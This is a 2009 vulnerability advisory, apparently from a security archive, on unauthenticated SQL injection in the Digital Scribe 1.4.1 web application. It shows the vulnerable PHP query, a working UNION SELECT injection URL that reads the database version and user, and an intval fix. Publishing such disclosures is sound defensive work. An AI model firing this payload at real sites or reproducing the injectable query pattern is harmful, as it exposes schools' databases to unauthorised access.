Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22928
HistoryDec 15, 2009 - 12:00 a.m.

Digital Scribe 1.4.1 Multiple SQL Injection Vulnerabilities

2009-12-1500:00:00
vulners.com
20

Digital Scribe 1.4.1 Multiple SQL Injection Vulnerabilities

Name Digital Scribe
Vendor http://www.digital-scribe.org
Versions Affected 1.4.1

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2009-12-11

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
VI. DISCLOSURE TIMELINE

I. ABOUT THE APPLICATION

The Digital Scribe is a free, intuitive system designed to
help teachers put student work and homework assignments
online.

II. DESCRIPTION

This application is affected by many SQL Injection
security flaws. In order to exploit they, the Magic Quotes
GPG (php.ini) must be Off except one.
I tested 1.4.1 version only, however other versions may be
also vulnerable.

III. ANALYSIS

Summary:

A) Multiple SQL Injection

A) Multiple SQL Injection

Multiple SQL Injection issues has been found in Digital
Scribe version 1.4.1 and no authentication is required
in order to exploit these vulnerabilities.
The most issues required the Magic Quotes GPG setted to
off except one (stuworkdisplay.php).
For semplicity I reported only this last one vulnerable
code.

Vulnerable code:

$show = mysql_query("SELECT * FROM ".$conf['tbl']['projecttable']."
WHERE(ID=$HTTP_GET_VARS[ID])");

IV. SAMPLE CODE

http://site/path/stuworkdisplay.php?ID=-1) UNION ALL SELECT
version(),user(),3,4,5,6,7,8,9,10,11%23

V. FIX

$id = intval($_GET['ID']);
$show = mysql_query("SELECT * FROM ".$conf['tbl']['projecttable']."
WHERE(ID=$id)");

VIII. DISCLOSURE TIMELINE

2009-12-11 Bug discovered
2009-12-11 Initial vendor contact
2009-12-11 Advisory Release